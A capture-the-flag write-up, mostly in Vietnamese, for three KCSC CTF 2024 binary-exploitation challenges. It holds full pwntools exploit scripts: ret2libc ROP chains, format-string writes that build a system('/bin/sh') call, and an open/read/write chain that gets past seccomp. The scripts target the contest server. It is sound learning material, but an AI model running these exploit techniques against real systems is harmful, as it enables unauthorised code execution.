# (writeup) KCSC CTF 2024 ## petshop - basic file check ![image](https://hackmd.io/_uploads/rkrLAHzm0.png) - check ida ![image](https://hackmd.io/_uploads/BJ7dRrzmA.png) >**main()** ![image](https://hackmd.io/_uploads/SyT9CBzQ0.png) >**buy()** ![image](https://hackmd.io/_uploads/HyxpRBGXA.png) >**sell()** ![image](https://hackmd.io/_uploads/Hy71yLfQR.png) >**info()** ### analyse - chall có 3 chức năng chính **buy()** , **sell()** và **info()** - ở hàm **buy()** có bug OOB khi không check khả năng âm của idx ![image](https://hackmd.io/_uploads/B1XLkLMmC.png) > only check > 3 - tức ta có thể trỏ ngược lên phân vùng bss trên **dogs** hoặc **cats** ![image](https://hackmd.io/_uploads/Hkr7eLGXR.png) > với idx là -2 có thể leak được exe - ở hàm **sell()** có bug khác là Stack Overflow khi không **memset()** thằng **n** cho size ![image](https://hackmd.io/_uploads/HyxpRBGXA.png) >tức là **n** là stack >sẽ còn giá trị rác >khi ta thoả mãn **scanf** return False (đọc thất bại) nhưng không thay đổi giá trị nào trên stack >với format "%d" (nhận gtri số), ta có thể bypass bằng cách nhập gtri khác (như byte 'a' hoặc byte enter '\x0a') >bug nằm ở phép toán logic '&&' >trong coding gọi là hiện tượng đoản mạch >đk trái False thì không xét đk phải >---> hàm if sẽ không nhảy vào - trước khi quay lại hàm **buy()**, ta thấy stack cho nhập size là: `int n; // [rsp+18h] [rbp-208h]` - so sánh với buffer khi nhập name cho pets ![image](https://hackmd.io/_uploads/HksZzLMmR.png) >read 1024 ~ 0x400 ![image](https://hackmd.io/_uploads/ByU7fIf7R.png) > `char s[1037]; // [rsp+20h] [rbp-424h]` - vậy hoàn toàn có thể set size cho **sell()** bằng cách padding lượng lớn khi nhập name ở **buy()** - ở hàm **info()**, khi chọn option 'mine' sẽ leak value là con trỏ đang trỏ tới ![image](https://hackmd.io/_uploads/SyFKbLfQC.png) >format "%s" - tóm lại, có BOF ---> leak exe --> leak libc --> ret2libc ### get flag ![image](https://hackmd.io/_uploads/rybrerM7R.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('petshop_patched', checksec=False) libc = ELF('libc-2.31.so', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*buy+289 b*info+383 b*sell+245 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('103.163.24.78',10001) else: p = process(exe.path) def buy(pet, choice, name): p.recvline() sla(b'--> ',b'buy ' + pet + b' ' + str(choice).encode()) p.recvline() sla(b'--> ',name) p.recvline() p.recvline() def sell(index,size,reason): p.recvline() sla(b'--> ',b'sell ' + str(index).encode()) p.recvline() p.recvline() sla(b'--> ',size) p.recvline() sla(b'--> ',reason) def show(): p.recvline() sla(b'--> ',b'info mine') p.recvline() p.recvline() # GDB() idx = (exe.got.puts - exe.sym.cats)/8 +1 buy(b'cat',-2,b'a'*1023) show() p.recvuntil(b'1. ') exe_leak = u64(p.recv(6)+b'\0\0') exe.address = exe_leak - 0x4008 info("exe leak: " + hex(exe_leak)) info("exe base: " + hex(exe.address)) pop_rdi = exe.address + 0x0000000000001a13 payload = b'a'*0x209 payload += p64(pop_rdi) + p64(exe.got.puts) payload += p64(exe.plt.puts) + p64(exe.sym.main) sell(0,b'',payload) p.recvuntil(b'reasonable!\n') libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - libc.sym.puts info("libc leak: " + hex(libc_leak)) info("libc base:" + hex(libc.address)) payload = b'a'*0x209 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) payload += p64(pop_rdi+1) + p64(libc.sym.system) buy(b'cat',0,b'a'*1023) sell(1,b'',payload) p.interactive() #KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????} ``` >KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????} --- ## kcsbank - basic file check ![image](https://hackmd.io/_uploads/HJssmUGQA.png) - check ida ![image](https://hackmd.io/_uploads/SkXHwIGXA.png) >**main()** >2 chế độ: đã login và chưa login ![image](https://hackmd.io/_uploads/rJhvDUGmR.png) >**general_action()** : chưa login >có 2 option ![image](https://hackmd.io/_uploads/B1LqwLM7A.png) >**login()** ![image](https://hackmd.io/_uploads/BJ43P8f7A.png) >**reg()** ![image](https://hackmd.io/_uploads/ryRg_LMQA.png) >**account_action()** : đã login >có 3 option ![image](https://hackmd.io/_uploads/BkxZmOIzQC.png) >**deposit()** ![image](https://hackmd.io/_uploads/ByS4OLf70.png) >**withdraw()** ![image](https://hackmd.io/_uploads/SkKBOIMXA.png) >**info()** >dễ dàng thấy có bug fmtstr ở đây ### analyse - vì có bug fmstr nên payload ta nằm ngay từ lúc **reg()** khi nhập full name - tóm lại: ---> leak libc ---> leak stack ---> fmtstr ret2libc > note: tui thử one_gadget nhưng không được - một điều nữa là phải fmtstr thêm 1 cái ngay ret sau **main** > chả biết nữa, lúc run thì thấy nếu fmtstr ở đó nó lại return stack kế tiếp =)))) > nếu không thì nó exit do libc như bình thường ### get flag ![image](https://hackmd.io/_uploads/rJ5nI8fmR.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./banking_patched', checksec=False) libc = ELF('./libc.so.6',checksec=False) context.binary = exe def GDB(): #NOASLR if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x555555555656 #printf b*0x55555555589f #ret_main c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('103.163.24.78',10002) else: p = process(exe.path) def show(): sla(b'> ',b'3') def reg(username,password,name): sla(b'> ',b'2') sla(b'username: ',username) sla(b'password: ',password) sla(b'name: ',name) def login(username,password): sla(b'> ',b'1') sla(b'Username: ',username) sla(b'Password: ',password) def logout(feedback): sla(b'> ',b'4') sla(b'feedback: ',feedback) GDB() reg(b'a',b'b',b'%29$p|%6$p') login(b'a',b'b') show() libc_leak = int(p.recvuntil(b'|',drop=True),16) libc.address = libc_leak - libc.sym.puts - 506 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) stack_leak = int(p.recvuntil(b'\n',drop=True),16) info("stack leak: " + hex(stack_leak)) system = libc.sym.system binsh = next(libc.search(b'/bin/sh\0')) pop_rdi = libc.address + 0x00000000000240e5 ret = stack_leak + 0x30 info("stack ret: " + hex(ret)) logout(b'hlaan') ######################################### payload = f'%{(ret-8)&0xffff}c%10$hn' reg(b'aaaa',b'dddd',payload) login(b'aaaa',b'dddd') show() logout(b'hlaan') payload = f'%{pop_rdi&0xffff}c%44$hn' reg(b'abc',b'def',payload) login(b'abc',b'def') show() logout(b'hlaan') ######################################### chain = [pop_rdi,binsh,system] for i in range(3): for j in range(3): payload = f'%{(ret+2*j+8*i)&0xffff}c%13$hn' reg(b'c'*i,b'd'*i,payload) login(b'c'*i,b'd'*i) show() logout(b'hlaan') payload = f'%{(chain[i]>>16*j)&0xffff}c%40$hn' reg(b'e'*i,b'f'*i,payload) login(b'e'*i,b'f'*i) show() logout(b'hlaan') show() p.interactive() #KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?} ``` >KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?} --- ## simple qiling - basic file check ![image](https://hackmd.io/_uploads/HkvesIzmR.png) > nhìn z thôi chứ không phải z =))) > do qiling nó NOASLR =)))) - check ida ![image](https://hackmd.io/_uploads/BJONoLMXR.png) >**main()** ### analyse - thấy rõ là có bug BOF - việc còn lại là ret2libc ### setup ```txt python3 -m venv qilingenv source qilingenv/bin/activate git clone -b dev https://github.com/qilingframework/qiling.git cd qiling && git submodule update --init --recursive pip3 install . https://docs.qiling.io/en/latest/install/ https://docs.qiling.io/en/latest/debugger/ https://docs.qiling.io/en/latest/qdb/ ``` ### ropchain - đầu tiên ta cần debug trước lấy canary - và phải active tool trước khi debug: `source qilingenv/bin/activate` ![image](https://hackmd.io/_uploads/rJHIh8GQA.png) - thấy được là canary tĩnh > 0x6161616161616100 - ngộ cái là khi leak thành công libc, return lại main nhưng setup tiếp ret2libc(pop_rdi->binsh->system) thì bị EOF >sợ xmm nhưng thêm ret vẫn thể - chuyển hướng qua execve (ret2syscall) nhưng vẫn tịt - quên là có setup 1 func seccomp lại ![image](https://hackmd.io/_uploads/ByLPNEQQR.png) - nên còn 1 phương án cuối hơi quằn là ORW =)))) - nếu set path flag.txt (call read 1 lần nữa đưa flag.txt vào rw_section) ở payload thứ 2 thì quá dài (hơn 0x100 byte) nên sẽ set ở payload thứ 1 > hên exe có gadget rsi ### get flag ![image](https://hackmd.io/_uploads/ryCAqLfQR.png) - debug: ```py #!/usr/bin/env python3 # import qiling from qiling import Qiling from qiling.const import QL_VERBOSE import sys #0x5555555553e4 if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <ELF>") sys.exit(1) cmd = [sys.argv[1]] # ql = qiling.Qiling(cmd, console=False, rootfs='.') ql = Qiling(cmd, console=False, rootfs='.', verbose=QL_VERBOSE.DEBUG) ql.debugger = 'qdb' ql.run() ``` - script: ```py #!/usr/bin/env python3 from pwn import * from qiling import * exe = ELF("./simpleqiling_patched") libc = ELF("./libc-2.31.so") ld = ELF("./ld-2.31.so") context.binary = exe # p = process(exe.path) p = remote('103.163.24.78',10010) p.recvline() exe.address = 0x555555554000 pop_rdi = exe.address + 0x0000000000001473 main = exe.address + 0x1314 pop_rsi_r15 = exe.address + 0x0000000000001471 rw_section = 0x555555558a00 payload = b'a'*0x28 payload += p64(0x6161616161616100) payload += b'a'*8 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15) + p64(rw_section+0x200) + p64(0) payload += p64(exe.plt.read) payload += p64(pop_rdi) + p64(exe.got.puts) payload += p64(exe.plt.puts) + p64(main) p.send(payload) p.send(b'flag.txt\0') libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - libc.sym.puts log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) p.recvline() pop_rdi = libc.address + 0x0000000000023b6a pop_rsi = libc.address + 0x000000000002601f pop_rdx = libc.address + 0x0000000000142c92 pop_rax = libc.address + 0x0000000000036174 syscall = libc.address + 0x000000000002284d # payload = b'a'*0x28 # payload += p64(0x6161616161616100) # payload += b'a'*8 # payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) # # payload += p64(pop_rdi+1) # payload += p64(libc.sym.system) # payload = b'a'*0x28 # payload += p64(0x6161616161616100) # payload += b'a'*8 # payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) # payload += p64(pop_rsi) + p64(0) # payload += p64(pop_rdx) + p64(0) # payload += p64(pop_rax) + p64(0x3b) # payload += p64(syscall) payload = b'a'*0x28 payload += p64(0x6161616161616100) payload += b'a'*8 payload += p64(pop_rdi) + p64(rw_section+0x200) payload += p64(pop_rdx) + p64(0) payload += p64(pop_rsi) + p64(0) payload += p64(libc.sym.open) payload += p64(pop_rdi) + p64(3) payload += p64(pop_rsi) + p64(rw_section) payload += p64(pop_rdx) + p64(0x100) payload += p64(libc.sym.read) payload += p64(pop_rdi) + p64(1) payload += p64(pop_rsi) + p64(rw_section) payload += p64(pop_rdx) + p64(0x100) payload += p64(libc.sym.write) p.send(payload) p.interactive() #KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r} ``` >KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r} ---